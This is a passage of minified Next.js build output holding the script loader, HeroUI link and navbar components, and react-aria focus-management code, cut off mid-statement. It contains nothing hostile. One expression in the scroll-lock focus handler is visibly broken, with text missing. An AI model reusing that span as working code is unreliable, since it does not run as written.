(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[283],{31482:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),function(e,t){for(var r in t)Object.defineProperty(e,r,{enumerable:!0,get:t[r]})}(t,{cancelIdleCallback:function(){return n},requestIdleCallback:function(){return r}});let r="undefined"!=typeof self&&self.requestIdleCallback&&self.requestIdleCallback.bind(window)||function(e){let t=Date.now();return self.setTimeout(function(){e({didTimeout:!1,timeRemaining:function(){return Math.max(0,50-(Date.now()-t))}})},1)},n="undefined"!=typeof self&&self.cancelIdleCallback&&self.cancelIdleCallback.bind(window)||function(e){return clearTimeout(e)};("function"==typeof t.default||"object"==typeof t.default&&null!==t.default)&&void 0===t.default.__esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},55079:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),function(e,t){for(var r in t)Object.defineProperty(e,r,{enumerable:!0,get:t[r]})}(t,{default:function(){return b},handleClientScriptLoad:function(){return v},initScriptLoader:function(){return m}});let n=r(41707),i=r(58919),s=r(87174),a=n._(r(45585)),o=i._(r(32953)),l=r(52162),u=r(21282),c=r(31482),d=new Map,h=new Set,f=e=>{if(a.default.preinit){e.forEach(e=>{a.default.preinit(e,{as:"style"})});return}if("undefined"!=typeof window){let t=document.head;e.forEach(e=>{let r=document.createElement("link");r.type="text/css",r.rel="stylesheet",r.href=e,t.appendChild(r)})}},p=e=>{let{src:t,id:r,onLoad:n=()=>{},onReady:i=null,dangerouslySetInnerHTML:s,children:a="",strategy:o="afterInteractive",onError:l,stylesheets:c}=e,p=r||t;if(p&&h.has(p))return;if(d.has(t)){h.add(p),d.get(t).then(n,l);return}let v=()=>{i&&i(),h.add(p)},m=document.createElement("script"),y=new Promise((e,t)=>{m.addEventListener("load",function(t){e(),n&&n.call(this,t),v()}),m.addEventListener("error",function(e){t(e)})}).catch(function(e){l&&l(e)});s?(m.innerHTML=s.__html||"",v()):a?(m.textContent="string"==typeof a?a:Array.isArray(a)?a.join(""):"",v()):t&&(m.src=t,d.set(t,y)),(0,u.setAttributesFromProps)(m,e),"worker"===o&&m.setAttribute("type","text/partytown"),m.setAttribute("data-nscript",o),c&&f(c),document.body.appendChild(m)};function v(e){let{strategy:t="afterInteractive"}=e;"lazyOnload"===t?window.addEventListener("load",()=>{(0,c.requestIdleCallback)(()=>p(e))}):p(e)}function m(e){e.forEach(v),[...document.querySelectorAll('[data-nscript="beforeInteractive"]'),...document.querySelectorAll('[data-nscript="beforePageRender"]')].forEach(e=>{let t=e.id||e.getAttribute("src");h.add(t)})}function y(e){let{id:t,src:r="",onLoad:n=()=>{},onReady:i=null,strategy:u="afterInteractive",onError:d,stylesheets:f,...v}=e,{updateScripts:m,scripts:y,getIsSsr:b,appDir:g,nonce:w}=(0,o.useContext)(l.HeadManagerContext),x=(0,o.useRef)(!1);(0,o.useEffect)(()=>{let e=t||r;x.current||(i&&e&&h.has(e)&&i(),x.current=!0)},[i,t,r]);let E=(0,o.useRef)(!1);if((0,o.useEffect)(()=>{!E.current&&("afterInteractive"===u?p(e):"lazyOnload"===u&&("complete"===document.readyState?(0,c.requestIdleCallback)(()=>p(e)):window.addEventListener("load",()=>{(0,c.requestIdleCallback)(()=>p(e))})),E.current=!0)},[e,u]),("beforeInteractive"===u||"worker"===u)&&(m?(y[u]=(y[u]||[]).concat([{id:t,src:r,onLoad:n,onReady:i,onError:d,...v}]),m(y)):b&&b()?h.add(t||r):b&&!b()&&p(e)),g){if(f&&f.forEach(e=>{a.default.preinit(e,{as:"style"})}),"beforeInteractive"===u)return r?(a.default.preload(r,v.integrity?{as:"script",integrity:v.integrity,nonce:w,crossOrigin:v.crossOrigin}:{as:"script",nonce:w,crossOrigin:v.crossOrigin}),(0,s.jsx)("script",{nonce:w,dangerouslySetInnerHTML:{__html:"(self.__next_s=self.__next_s||[]).push("+JSON.stringify([r,{...v,id:t}])+")"}})):(v.dangerouslySetInnerHTML&&(v.children=v.dangerouslySetInnerHTML.__html,delete v.dangerouslySetInnerHTML),(0,s.jsx)("script",{nonce:w,dangerouslySetInnerHTML:{__html:"(self.__next_s=self.__next_s||[]).push("+JSON.stringify([0,{...v,id:t}])+")"}}));"afterInteractive"===u&&r&&a.default.preload(r,v.integrity?{as:"script",integrity:v.integrity,nonce:w,crossOrigin:v.crossOrigin}:{as:"script",nonce:w,crossOrigin:v.crossOrigin})}return null}Object.defineProperty(y,"__nextScript",{value:!0});let b=y;("function"==typeof t.default||"object"==typeof t.default&&null!==t.default)&&void 0===t.default.__esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},21282:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"setAttributesFromProps",{enumerable:!0,get:function(){return s}});let r={acceptCharset:"accept-charset",className:"class",htmlFor:"for",httpEquiv:"http-equiv",noModule:"noModule"},n=["onLoad","onReady","dangerouslySetInnerHTML","children","onError","strategy","stylesheets"];function i(e){return["async","defer","noModule"].includes(e)}function s(e,t){for(let[s,a]of Object.entries(t)){if(!t.hasOwnProperty(s)||n.includes(s)||void 0===a)continue;let o=r[s]||s.toLowerCase();"SCRIPT"===e.tagName&&i(o)?e[o]=!!a:e.setAttribute(o,String(a)),(!1===a||"SCRIPT"===e.tagName&&i(o)&&(!a||"false"===a))&&(e.setAttribute(o,""),e.removeAttribute(o))}}("function"==typeof t.default||"object"==typeof t.default&&null!==t.default)&&void 0===t.default.__esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},63651:()=>{},73739:e=>{e.exports={style:{fontFamily:"'geistMono', 'geistMono Fallback'"},className:"__className_c3aa02",variable:"__variable_c3aa02"}},1705:e=>{e.exports={style:{fontFamily:"'geistSans', 'geistSans Fallback'"},className:"__className_1e4310",variable:"__variable_1e4310"}},75544:(e,t,r)=>{"use strict";r.d(t,{O:()=>x});var n=r(46637),i=r(19778),s=(0,n.tv)({base:["relative inline-flex items-center outline-none tap-highlight-transparent",...i.Dh],variants:{size:{sm:"text-small",md:"text-medium",lg:"text-large"},color:{foreground:"text-foreground",primary:"text-primary",secondary:"text-secondary",success:"text-success",warning:"text-warning",danger:"text-danger"},underline:{none:"no-underline",hover:"hover:underline",always:"underline",active:"active:underline",focus:"focus:underline"},isBlock:{true:["px-2","py-1","hover:after:opacity-100","after:content-['']","after:inset-0","after:opacity-0","after:w-full","after:h-full","after:rounded-xl","after:transition-background","after:absolute"],false:"hover:opacity-80 active:opacity-disabled transition-opacity"},isDisabled:{true:"opacity-disabled cursor-default pointer-events-none"},disableAnimation:{true:"after:transition-none transition-none"}},compoundVariants:[{isBlock:!0,color:"foreground",class:"hover:after:bg-foreground/10"},{isBlock:!0,color:"primary",class:"hover:after:bg-primary/20"},{isBlock:!0,color:"secondary",class:"hover:after:bg-secondary/20"},{isBlock:!0,color:"success",class:"hover:after:bg-success/20"},{isBlock:!0,color:"warning",class:"hover:after:bg-warning/20"},{isBlock:!0,color:"danger",class:"hover:after:bg-danger/20"},{underline:["hover","always","active","focus"],class:"underline-offset-4"}],defaultVariants:{color:"primary",size:"md",isBlock:!1,underline:"none",isDisabled:!1}}),a=r(14951),o=r(46258),l=r(9685),u=r(77859),c=r(76056),d=r(88108),h=r(8323),f=r(60153),p=r(2253),v=r(69661),m=r(63249),y=r(32953),b=r(87174),g=e=>(0,b.jsxs)("svg",{"aria-hidden":"true",fill:"none",focusable:"false",height:"1em",shapeRendering:"geometricPrecision",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:"1.5",viewBox:"0 0 24 24",width:"1em",...e,children:[(0,b.jsx)("path",{d:"M18 13v6a2 2 0 01-2 2H5a2 2 0 01-2-2V8a2 2 0 012-2h6"}),(0,b.jsx)("path",{d:"M15 3h6v6"}),(0,b.jsx)("path",{d:"M10 14L21 3"})]}),w=(0,p.Gp)((e,t)=>{let{Component:r,children:n,showAnchorIcon:i,anchorIcon:w=(0,b.jsx)(g,{className:"flex mx-1 text-current self-center"}),getLinkProps:x}=function(e){var t,r,n,i;let b=(0,f.w)(),[g,w]=(0,p.oe)(e,s.variantKeys),{ref:x,as:E,children:N,anchorIcon:C,isExternal:S=!1,showAnchorIcon:P=!1,autoFocus:T=!1,className:O,onPress:k,onPressStart:R,onPressEnd:M,onClick:_,...F}=g,q=(0,v.gy)(x),j=null!=(r=null!=(t=null==e?void 0:e.disableAnimation)?t:null==b?void 0:b.disableAnimation)&&r,{linkProps:I}=function(e,t){let{elementType:r="a",onPress:n,onPressStart:i,onPressEnd:s,onClick:f,role:p,isDisabled:v,type:m,...y}=e,b={};"a"!==r&&(b={role:"link",tabIndex:v?void 0:0});let g=(0,a.gn)()||(0,a.Dt)();f&&"function"==typeof f&&"button"!==m&&"button"!==p&&(0,c.ZK)("onClick is deprecated, please use onPress instead. See: https://github.com/heroui-inc/heroui/issues/4292","useLink");let{focusableProps:w}=(0,d.kc)(e,t),{pressProps:x,isPressed:E}=(0,h.r)({onPress:e=>{g&&(null==f||f(e)),null==n||n(e)},onPressStart:i,onPressEnd:s,isDisabled:v,ref:t}),N=(0,o.z)(y,{labelable:!0,isLink:"a"===r}),C=(0,l.d)(w,x),S=(0,u.tv)(),P=(0,u.eY)(e);return{isPressed:E,linkProps:(0,l.d)(N,P,{...C,...b,"aria-disabled":v||void 0,"aria-current":e["aria-current"],onClick:t=>{var r;null==(r=x.onClick)||r.call(x,t),!g&&f&&f(t),!S.isNative&&t.currentTarget instanceof HTMLAnchorElement&&t.currentTarget.href&&!t.isDefaultPrevented()&&(0,u.b0)(t.currentTarget,t)&&e.href&&(t.preventDefault(),S.open(t.currentTarget,t,e.href,e.routerOptions))}})}}({...F,onPress:k,onPressStart:R,onPressEnd:M,onClick:_,isDisabled:e.isDisabled,elementType:"".concat(E)},q),{isFocused:L,isFocusVisible:A,focusProps:D}=(0,m.F)({autoFocus:T});S&&(F.rel=null!=(n=F.rel)?n:"noopener noreferrer",F.target=null!=(i=F.target)?i:"_blank");let H=(0,y.useMemo)(()=>s({...w,disableAnimation:j,className:O}),[(0,c.Xx)(w),j,O]);return{Component:E||"a",children:N,anchorIcon:C,showAnchorIcon:P,getLinkProps:(0,y.useCallback)(()=>({ref:q,className:H,"data-focus":(0,c.PB)(L),"data-disabled":(0,c.PB)(e.isDisabled),"data-focus-visible":(0,c.PB)(A),...(0,l.d)(D,I,F)}),[H,L,A,D,I,F])}}({ref:t,...e});return(0,b.jsx)(r,{...x(),children:(0,b.jsxs)(b.Fragment,{children:[n,i&&w]})})});w.displayName="HeroUI.Link";var x=w},75815:(e,t,r)=>{"use strict";r.d(t,{H:()=>u});var n=r(82425),i=r(2253),s=r(69661),a=r(76056),o=r(87174),l=(0,i.Gp)((e,t)=>{var r;let{as:i,className:l,children:u,...c}=e,d=(0,s.gy)(t),{slots:h,classNames:f}=(0,n.q)(),p=(0,a.Wy)(null==f?void 0:f.brand,l);return(0,o.jsx)(i||"div",{ref:d,className:null==(r=h.brand)?void 0:r.call(h,{class:p}),...c,children:u})});l.displayName="HeroUI.NavbarBrand";var u=l},64121:(e,t,r)=>{"use strict";r.d(t,{k:()=>u});var n=r(82425),i=r(2253),s=r(69661),a=r(76056),o=r(87174),l=(0,i.Gp)((e,t)=>{var r;let{as:i,className:l,children:u,isActive:c,...d}=e,h=(0,s.gy)(t),{slots:f,classNames:p}=(0,n.q)(),v=(0,a.Wy)(null==p?void 0:p.item,l);return(0,o.jsx)(i||"li",{ref:h,className:null==(r=f.item)?void 0:r.call(f,{class:v}),"data-active":(0,a.PB)(c),...d,children:u})});l.displayName="HeroUI.NavbarItem";var u=l},78353:(e,t,r)=>{"use strict";let n;r.d(t,{R:()=>A});var i=r(58645),s={ease:[.36,.66,.4,1],easeIn:[.4,0,1,1],easeOut:[0,0,.2,1]};s.easeOut,s.easeIn,s.easeIn,s.easeOut,s.ease,s.ease,s.ease,s.ease;var a={visible:{y:0,transition:{ease:s.easeOut}},hidden:{y:"-100%",transition:{ease:s.easeIn}}},o=r(60153),l=r(2253),u=r(46637),c=r(19778),d=(0,u.tv)({slots:{base:["flex","z-40","w-full","h-auto","items-center","justify-center","data-[menu-open=true]:border-none"],wrapper:["z-40","flex","px-6","gap-4","w-full","flex-row","relative","flex-nowrap","items-center","justify-between","h-[var(--navbar-height)]"],toggle:["group","flex","items-center","justify-center","w-6","h-full","outline-none","rounded-small","tap-highlight-transparent",...c.Dh],srOnly:["sr-only"],toggleIcon:["w-full","h-full","pointer-events-none","flex","flex-col","items-center","justify-center","text-inherit","group-data-[pressed=true]:opacity-70","transition-opacity","before:content-['']","before:block","before:h-px","before:w-6","before:bg-current","before:transition-transform","before:duration-150","before:-translate-y-1","before:rotate-0","group-data-[open=true]:before:translate-y-px","group-data-[open=true]:before:rotate-45","after:content-['']","after:block","after:h-px","after:w-6","after:bg-current","after:transition-transform","after:duration-150","after:translate-y-1","after:rotate-0","group-data-[open=true]:after:translate-y-0","group-data-[open=true]:after:-rotate-45"],brand:["flex","basis-0","flex-row","flex-grow","flex-nowrap","justify-start","bg-transparent","items-center","no-underline","text-medium","whitespace-nowrap","box-border"],content:["flex","gap-4","h-full","flex-row","flex-nowrap","items-center","data-[justify=start]:justify-start","data-[justify=start]:flex-grow","data-[justify=start]:basis-0","data-[justify=center]:justify-center","data-[justify=end]:justify-end","data-[justify=end]:flex-grow","data-[justify=end]:basis-0"],item:["text-medium","whitespace-nowrap","box-border","list-none","data-[active=true]:font-semibold"],menu:["z-30","px-6","pt-2","fixed","flex","max-w-full","top-[var(--navbar-height)]","inset-x-0","bottom-0","w-screen","flex-col","gap-2","overflow-y-auto"],menuItem:["text-large","data-[active=true]:font-semibold"]},variants:{position:{static:{base:"static"},sticky:{base:"sticky top-0 inset-x-0"}},maxWidth:{sm:{wrapper:"max-w-[640px]"},md:{wrapper:"max-w-[768px]"},lg:{wrapper:"max-w-[1024px]"},xl:{wrapper:"max-w-[1280px]"},"2xl":{wrapper:"max-w-[1536px]"},full:{wrapper:"max-w-full"}},hideOnScroll:{true:{base:["sticky","top-0","inset-x-0"]}},isBordered:{true:{base:["border-b","border-divider"]}},isBlurred:{false:{base:"bg-background",menu:"bg-background"},true:{base:["backdrop-blur-lg","data-[menu-open=true]:backdrop-blur-xl","backdrop-saturate-150","bg-background/70"],menu:["backdrop-blur-xl","backdrop-saturate-150","bg-background/70"]}},disableAnimation:{true:{menu:["hidden","h-[calc(100dvh_-_var(--navbar-height))]","data-[open=true]:flex"]}}},defaultVariants:{maxWidth:"lg",position:"sticky",isBlurred:!0}}),h=r(69661),f=r(76056),p=r(32953),v=r(9685),m="undefined"!=typeof window;function y(e){return m?e?{x:e.scrollLeft,y:e.scrollTop}:{x:window.scrollX,y:window.scrollY}:{x:0,y:0}}var b=e=>{let{elementRef:t,delay:r=30,callback:n,isEnabled:i}=e,s=(0,p.useRef)(i?y(null==t?void 0:t.current):{x:0,y:0}),a=(0,p.useRef)(null),o=(0,p.useCallback)(()=>{let e=y(null==t?void 0:t.current);"function"==typeof n&&n({prevPos:s.current,currPos:e}),s.current=e,a.current=null},[n,t]);return(0,p.useEffect)(()=>{if(!i)return;let e=()=>{r?(a.current&&clearTimeout(a.current),a.current=setTimeout(o,r)):o()},n=(null==t?void 0:t.current)||window;return n.addEventListener("scroll",e),()=>{n.removeEventListener("scroll",e),a.current&&(clearTimeout(a.current),a.current=null)}},[null==t?void 0:t.current,r,o,i]),s.current},g=r(40006),w=r(90611),x=r(14951),E=r(87528);function N(e,t){if(!e)return!1;let r=window.getComputedStyle(e),n=/(auto|scroll)/.test(r.overflow+r.overflowX+r.overflowY);return n&&t&&(n=e.scrollHeight!==e.clientHeight||e.scrollWidth!==e.clientWidth),n}function C(e,t){let r=e;for(N(r,t)&&(r=r.parentElement);r&&!N(r,t);)r=r.parentElement;return r||document.scrollingElement||document.documentElement}let S="undefined"!=typeof document&&window.visualViewport,P=new Set(["checkbox","radio","range","color","file","image","button","submit","reset"]),T=0;function O(e,t,r){let n=e.style[t];return e.style[t]=r,()=>{e.style[t]=n}}function k(e,t,r,n){return e.addEventListener(t,r,n),()=>{e.removeEventListener(t,r,n)}}function R(e){let t=document.scrollingElement||document.documentElement,r=e;for(;r&&r!==t;){let e=C(r);if(e!==document.documentElement&&e!==document.body&&e!==r){let t=e.getBoundingClientRect().top,n=r.getBoundingClientRect().top;n>t+r.clientHeight&&(e.scrollTop+=n-t)}r=e.parentElement}}var M=r(82425),_=(e,t)=>{var r;let n=[];return[null==(r=p.Children.map(e,e=>(0,p.isValidElement)(e)&&e.type===t?(n.push(e),null):e))?void 0:r.filter(Boolean),n.length>=0?n:void 0]},F=r(37789),q=r(6244),j=r(87174),I=()=>r.e(392).then(r.bind(r,53392)).then(e=>e.default),L=(0,l.Gp)((e,t)=>{let{children:r,...s}=e,u=function(e){var t,r;let i=(0,o.w)(),[s,a]=(0,l.oe)(e,d.variantKeys),{ref:u,as:c,parentRef:m,height:y="4rem",shouldHideOnScroll:N=!1,disableScrollHandler:M=!1,shouldBlockScroll:_=!0,onScrollPositionChange:F,isMenuOpen:q,isMenuDefaultOpen:j,onMenuOpenChange:I=()=>{},motionProps:L,className:A,classNames:D,...H}=s,U=null!=(r=null!=(t=e.disableAnimation)?t:null==i?void 0:i.disableAnimation)&&r,W=(0,h.gy)(u),B=(0,p.useRef)(0),K=(0,p.useRef)(0),[Q,z]=(0,p.useState)(!1),G=(0,p.useCallback)(e=>{I(e||!1)},[I]),[Y,V]=(0,g.z)(q,null!=j&&j,G),$=()=>{if(W.current){let e=W.current.offsetWidth;e!==B.current&&(B.current=e)}};!function(e={}){let{isDisabled:t}=e;(0,w.b)(()=>{if(!t){let e,t,r,i,s;return 1==++T&&(n=(0,x.gn)()?(r=null,i=()=>{if(r)return;let e=window.pageXOffset,t=window.pageYOffset;r=(0,E.t)(k(window,"scroll",()=>{window.scrollTo(0,0)}),O(document.documentElement,"paddingRight",`${window.innerWidth-document.documentElement.clientWidth}px`),O(document.documentElement,"overflow","hidden"),O(document.body,"marginTop",`-${t}px`),()=>{window.scrollTo(e,t)}),window.scrollTo(0,0)},s=(0,E.t)(k(document,"touchstart",r=>{((e=C(r.target,!0))!==document.documentElement||e!==document.body)&&e instanceof HTMLElement&&"auto"===window.getComputedStyle(e).overscrollBehavior&&(t=O(e,"overscrollBehavior","contain"))},{passive:!1,capture:!0}),k(document,"touchmove",t=>{if(!e||e===document.documentElement||e===document.body){t.preventDefault();return}e.scrollHeight===e.clientHeight&&e.scrollWidth===e.clientWidth&&t.preventDefault()},{passive:!1,capture:!0}),k(document,"touchend",()=>{t&&t()},{passive:!1,capture:!0}),k(document,"focus",e=>{let t=e.target;(t instanceof HTMLInputElement&&!P.has(t.type)||t instanceof HTMLTextAreaElement||t instanceof HTMLElement&&t.isContentEditable)&&(i(),t.style.transform="translateY(-2000px)",requestAnimationFrame(()=>{t.style.transform="",S&&(S.height{R(t)}):S.addEventListener("resize",()=>R(t),{once:!0}))}))},!0)),()=>{null==t||t(),null==r||r(),s()}):(0,E.t)(O(document.documentElement,"paddingRight",`${window.innerWidth-document.documentElement.clientWidth}px`),O(document.documentElement,"overflow","hidden"))),()=>{0==--T&&n()}}},[t])}({isDisabled:!(_&&Y)}),function(e){let{ref:t,box:r,onResize:n}=e;(0,p.useEffect)(()=>{let e=null==t?void 0:t.current;if(e){if(!(void 0!==window.ResizeObserver))return window.addEventListener("resize",n,!1),()=>{window.removeEventListener("resize",n,!1)};{let t=new window.ResizeObserver(e=>{e.length&&n()});return t.observe(e,{box:r}),()=>{e&&t.unobserve(e)}}}},[n,t,r])}({ref:W,onResize:()=>{var e;let t=null==(e=W.current)?void 0:e.offsetWidth,r=window.innerWidth-document.documentElement.clientWidth;t&&t+r==B.current||t===B.current||($(),V(!1))}}),(0,p.useEffect)(()=>{var e;$(),K.current=(null==(e=W.current)?void 0:e.offsetHeight)||0},[]);let X=(0,p.useMemo)(()=>d({...a,disableAnimation:U,hideOnScroll:N}),[(0,f.Xx)(a),U,N]),J=(0,f.Wy)(null==D?void 0:D.base,A);return b({elementRef:m,isEnabled:N||!M,callback:e=>{let{prevPos:t,currPos:r}=e;null==F||F(r.y),N&&z(e=>{let n=r.y>t.y&&r.y>K.current;return n!==e?n:e})}}),{Component:c||"nav",slots:X,domRef:W,height:y,isHidden:Q,disableAnimation:U,shouldHideOnScroll:N,isMenuOpen:Y,classNames:D,setIsMenuOpen:V,motionProps:L,getBaseProps:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{...(0,v.d)(H,e),"data-hidden":(0,f.PB)(Q),"data-menu-open":(0,f.PB)(Y),ref:W,className:X.base({class:(0,f.Wy)(J,null==e?void 0:e.className)}),style:{"--navbar-height":"number"==typeof y?"".concat(y,"px"):y,...null==H?void 0:H.style,...null==e?void 0:e.style}}},getWrapperProps:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{...e,"data-menu-open":(0,f.PB)(Y),className:X.wrapper({class:(0,f.Wy)(null==D?void 0:D.wrapper,null==e?void 0:e.className)})}}}}({...s,ref:t}),c=u.Component,[m,y]=_(r,i.$),N=(0,j.jsxs)(j.Fragment,{children:[(0,j.jsx)("header",{...u.getWrapperProps(),children:m}),y]});return(0,j.jsx)(M.V,{value:u,children:u.shouldHideOnScroll?(0,j.jsx)(F.X,{features:I,children:(0,j.jsx)(q.m.nav,{animate:u.isHidden?"hidden":"visible",initial:!1,variants:a,...(0,v.d)(u.getBaseProps(),u.motionProps),children:N})}):(0,j.jsx)(c,{...u.getBaseProps(),children:N})})});L.displayName="HeroUI.Navbar";var A=L},58645:(e,t,r)=>{"use strict";r.d(t,{$:()=>$});var n=r(82425),i={enter:{height:"calc(100vh - var(--navbar-height))",transition:{duration:.3,easings:"easeOut"}},exit:{height:0,transition:{duration:.25,easings:"easeIn"}}},s=r(2253),a=r(69661),o=r(76056),l=r(12384),u=r(37789),c=r(6244),d=r(9685),h=r(32953);let f=(0,h.createContext)({});var p=r(89294);function v({children:e}){let t=(0,h.useMemo)(()=>({register:()=>{}}),[]);return h.createElement(p.O.Provider,{value:t},e)}var m=r(23767),y=r(90611),b=r(57735),g=r(14951),w=r(23348),x=r(19454);class E{get currentNode(){return this._currentNode}set currentNode(e){if(!(0,b.bE)(this.root,e))throw Error("Cannot set currentNode to a node that is not contained by the root node.");let t=[],r=e,n=e;for(this._currentNode=e;r&&r!==this.root;)if(r.nodeType===Node.DOCUMENT_FRAGMENT_NODE){let e=r,i=this._doc.createTreeWalker(e,this.whatToShow,{acceptNode:this._acceptNode});t.push(i),i.currentNode=n,this._currentSetFor.add(i),r=n=e.host}else r=r.parentNode;let i=this._doc.createTreeWalker(this.root,this.whatToShow,{acceptNode:this._acceptNode});t.push(i),i.currentNode=n,this._currentSetFor.add(i),this._walkerStack=t}get doc(){return this._doc}firstChild(){let e=this.currentNode,t=this.nextNode();return(0,b.bE)(e,t)?(t&&(this.currentNode=t),t):(this.currentNode=e,null)}lastChild(){let e=this._walkerStack[0].lastChild();return e&&(this.currentNode=e),e}nextNode(){let e=this._walkerStack[0].nextNode();if(e){if(e.shadowRoot){var t;let r;if("function"==typeof this.filter?r=this.filter(e):(null===(t=this.filter)||void 0===t?void 0:t.acceptNode)&&(r=this.filter.acceptNode(e)),r===NodeFilter.FILTER_ACCEPT)return this.currentNode=e,e;let n=this.nextNode();return n&&(this.currentNode=n),n}return e&&(this.currentNode=e),e}if(!(this._walkerStack.length>1))return null;{this._walkerStack.shift();let e=this.nextNode();return e&&(this.currentNode=e),e}}previousNode(){let e=this._walkerStack[0];if(e.currentNode===e.root){if(this._currentSetFor.has(e)&&(this._currentSetFor.delete(e),this._walkerStack.length>1)){this._walkerStack.shift();let e=this.previousNode();return e&&(this.currentNode=e),e}return null}let t=e.previousNode();if(t){if(t.shadowRoot){var r;let e;if("function"==typeof this.filter?e=this.filter(t):(null===(r=this.filter)||void 0===r?void 0:r.acceptNode)&&(e=this.filter.acceptNode(t)),e===NodeFilter.FILTER_ACCEPT)return t&&(this.currentNode=t),t;let n=this.lastChild();return n&&(this.currentNode=n),n}return t&&(this.currentNode=t),t}if(!(this._walkerStack.length>1))return null;{this._walkerStack.shift();let e=this.previousNode();return e&&(this.currentNode=e),e}}nextSibling(){return null}previousSibling(){return null}parentNode(){return null}constructor(e,t,r,n){this._walkerStack=[],this._currentSetFor=new Set,this._acceptNode=e=>{if(e.nodeType===Node.ELEMENT_NODE){var t;let r=e.shadowRoot;if(r){let e=this._doc.createTreeWalker(r,this.whatToShow,{acceptNode:this._acceptNode});return this._walkerStack.unshift(e),NodeFilter.FILTER_ACCEPT}if("function"==typeof this.filter)return this.filter(e);if(null===(t=this.filter)||void 0===t?void 0:t.acceptNode)return this.filter.acceptNode(e);if(null===this.filter)return NodeFilter.FILTER_ACCEPT}return NodeFilter.FILTER_SKIP},this._doc=e,this.root=t,this.filter=null!=n?n:null,this.whatToShow=null!=r?r:NodeFilter.SHOW_ALL,this._currentNode=t,this._walkerStack.unshift(e.createTreeWalker(t,r,this._acceptNode));let i=t.shadowRoot;if(i){let e=this._doc.createTreeWalker(i,this.whatToShow,{acceptNode:this._acceptNode});this._walkerStack.unshift(e)}}}var N=r(90590),C=r(42364);let S=h.createContext(null),P="react-aria-focus-scope-restore",T=null;function O(e){let t,r,{children:n,contain:i,restoreFocus:s,autoFocus:a}=e,o=(0,h.useRef)(null),l=(0,h.useRef)(null),u=(0,h.useRef)([]),{parentNode:c}=(0,h.useContext)(S)||{},d=(0,h.useMemo)(()=>new U({scopeRef:u}),[u]);(0,y.b)(()=>{let e=c||W.root;if(W.getTreeNode(e.scopeRef)&&T&&!F(T,e.scopeRef)){let t=W.getTreeNode(T);t&&(e=t)}e.addChild(d),W.addNode(d)},[d,c]),(0,y.b)(()=>{let e=W.getTreeNode(u);e&&(e.contain=!!i)},[i]),(0,y.b)(()=>{var e;let t=null===(e=o.current)||void 0===e?void 0:e.nextSibling,r=[],n=e=>e.stopPropagation();for(;t&&t!==l.current;)r.push(t),t.addEventListener(P,n),t=t.nextSibling;return u.current=r,()=>{for(let e of r)e.removeEventListener(P,n)}},[n]),(0,y.b)(()=>{if(s||i)return;let e=u.current,t=(0,m.r3)(e?e[0]:void 0),r=e=>{let t=(0,b.NI)(e);M(t,u.current)?T=u:_(t)||(T=null)};return t.addEventListener("focusin",r,!1),null==e||e.forEach(e=>e.addEventListener("focusin",r,!1)),()=>{t.removeEventListener("focusin",r,!1),null==e||e.forEach(e=>e.removeEventListener("focusin",r,!1))}},[u,s,i]),t=(0,h.useRef)(void 0),r=(0,h.useRef)(void 0),(0,y.b)(()=>{let e=u.current;if(!i){r.current&&(cancelAnimationFrame(r.current),r.current=void 0);return}let n=(0,m.r3)(e?e[0]:void 0),s=e=>{if("Tab"!==e.key||e.altKey||e.ctrlKey||e.metaKey||!R(u)||e.isComposing)return;let t=(0,b.vY)(n),r=u.current;if(!r||!M(t,r))return;let i=D(k(r),{tabbable:!0},r);if(!t)return;i.currentNode=t;let s=e.shiftKey?i.previousNode():i.nextNode();s||(i.currentNode=e.shiftKey?r[r.length-1].nextElementSibling:r[0].previousElementSibling,s=e.shiftKey?i.previousNode():i.nextNode()),e.preventDefault(),s&&q(s,!0)},a=e=>{(!T||F(T,u))&&M((0,b.NI)(e),u.current)?(T=u,t.current=(0,b.NI)(e)):R(u)&&!_((0,b.NI)(e),u)?t.current?t.current.focus():T&&T.current&&I(T.current):R(u)&&(t.current=(0,b.NI)(e))},o=e=>{r.current&&cancelAnimationFrame(r.current),r.current=requestAnimationFrame(()=>{let r=(0,N.Jz)(),i=("virtual"===r||null===r)&&(0,g.Dt)()&&(0,g.i7)(),s=(0,b.vY)(n);if(!i&&s&&R(u)&&!_(s,u)){T=u;let r=(0,b.NI)(e);if(r&&r.isConnected){var a;t.current=r,null===(a=t.current)||void 0===a||a.focus()}else T.current&&I(T.current)}})};return n.addEventListener("keydown",s,!1),n.addEventListener("focusin",a,!1),null==e||e.forEach(e=>e.addEventListener("focusin",a,!1)),null==e||e.forEach(e=>e.addEventListener("focusout",o,!1)),()=>{n.removeEventListener("keydown",s,!1),n.removeEventListener("focusin",a,!1),null==e||e.forEach(e=>e.removeEventListener("focusin",a,!1)),null==e||e.forEach(e=>e.removeEventListener("focusout",o,!1))}},[u,i]),(0,y.b)(()=>()=>{r.current&&cancelAnimationFrame(r.current)},[r]),function(e,t,r){let n=(0,h.useRef)("undefined"!=typeof document?(0,b.vY)((0,m.r3)(e.current?e.current[0]:void 0)):null);(0,y.b)(()=>{let n=e.current,i=(0,m.r3)(n?n[0]:void 0);if(!t||r)return;let s=()=>{(!T||F(T,e))&&M((0,b.vY)(i),e.current)&&(T=e)};return i.addEventListener("focusin",s,!1),null==n||n.forEach(e=>e.addEventListener("focusin",s,!1)),()=>{i.removeEventListener("focusin",s,!1),null==n||n.forEach(e=>e.removeEventListener("focusin",s,!1))}},[e,r]),(0,y.b)(()=>{let n=(0,m.r3)(e.current?e.current[0]:void 0);if(!t)return;let i=t=>{if("Tab"!==t.key||t.altKey||t.ctrlKey||t.metaKey||!R(e)||t.isComposing)return;let r=n.activeElement;if(!_(r,e)||!L(e))return;let i=W.getTreeNode(e);if(!i)return;let s=i.nodeToRestore,a=D(n.body,{tabbable:!0});a.currentNode=r;let o=t.shiftKey?a.previousNode():a.nextNode();if(s&&s.isConnected&&s!==n.body||(s=void 0,i.nodeToRestore=void 0),(!o||!_(o,e))&&s){a.currentNode=s;do 